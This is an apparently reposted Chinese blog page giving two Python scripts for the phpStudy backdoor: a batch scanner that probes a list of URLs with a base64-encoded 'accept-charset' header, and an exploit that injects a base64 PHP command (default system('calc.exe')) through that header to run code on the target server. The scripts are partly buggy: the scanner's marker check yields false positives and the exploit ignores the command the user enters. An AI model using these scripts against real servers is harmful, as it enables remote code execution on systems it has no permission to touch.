phpstudy漏洞检测

Posted 一又、、

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了phpstudy漏洞检测相关的知识,希望对你有一定的参考价值。

后门检测脚本

# !/usr/bin/env python
# -*- coding:utf-8 -*-

import gevent
from gevent import monkey

gevent.monkey.patch_all()
import requests as rq


def file_read(file_name="url.txt"):
    with open(file_name, "r") as f:
        return [i.replace("
", "") for i in f.readlines()]


def check(url):
    ‘‘‘
    if "http://" or "https://" not in url:
        url = "https://" + url
    ‘‘‘
    headers = {
        ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27‘,
        ‘Sec-Fetch-Mode‘: ‘navigate‘,
        ‘Sec-Fetch-User‘: ‘?1‘,
        ‘Accept‘: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3‘,
        ‘Sec-Fetch-Site‘: ‘none‘,
        ‘accept-charset‘: ‘ZWNobyBlZVN6eHU5Mm5JREFiOw==‘,  # 输出 eeSzxu92nIDAb
        ‘Accept-Encoding‘: ‘gzip,deflate‘,
        ‘Accept-Language‘: ‘zh-CN,zh;q=0.9‘,
    }
    try:
        res = rq.get(url, headers=headers, timeout=20)
        if res.status_code == 200:
            if res.text.find(‘eeSzxu92nIDAb‘):
                print("[存在漏洞] " + url)
    except:
        print("[超时] " + url)


if __name__ == ‘__main__‘:
    print("phpStudy 批量检测 (需要 gevent,requests 库)")
    print("使用之前,请将URL保存为 url.txt 放置此程序同目录下")
    input("任意按键开始执行..")
    tasks = [gevent.spawn(check, url) for url in file_read()]
    print("正在执行...请等候")
    gevent.joinall(tasks)
    wait = input("执行完毕 任意键退出...")

后门执行脚本

# !/usr/bin/env python
# -*- coding:utf-8 -*-

import requests
import base64


def backdoor(url, command="system(‘calc.exe‘);"):
    headers = {
        ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27‘,
        ‘Sec-Fetch-Mode‘: ‘navigate‘,
        ‘Sec-Fetch-User‘: ‘?1‘,
        ‘Accept‘: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3‘,
        ‘Sec-Fetch-Site‘: ‘none‘,
        ‘accept-charset‘: ‘c3lzdGVtKCdjYWxjLmV4ZScpOw==‘,
        ‘Accept-Encoding‘: ‘gzip,deflate‘,
        ‘Accept-Language‘: ‘zh-CN,zh;q=0.9‘,
    }
    command = base64.b64encode(command.encode(‘utf-8‘))
    command = str(command, ‘utf-8‘)
    result = requests.get(url, headers=headers, verify=False)
    if result.status_code == "200":
        print("执行完成")
    a = input("任意键退出...")


url = input("输入URL(例如:http://127.0.0.1:228/xx.php)
")
command = input("输入命令 默认为 system(‘calc.exe‘); (不想输入直接回车)
")
backdoor(url, command)

以上是关于phpstudy漏洞检测的主要内容,如果未能解决你的问题,请参考以下文章

DedeCMS5.7-前台文件上传漏洞

网站被***怎么处理 phpstudy存在后门漏洞

phpStudy nginx 解析漏洞复现

漏洞复现phpStudy 小皮 Windows面板 RCE漏洞

phpStudy后门漏洞利用复现

超级cms2.39-任意代码执行漏洞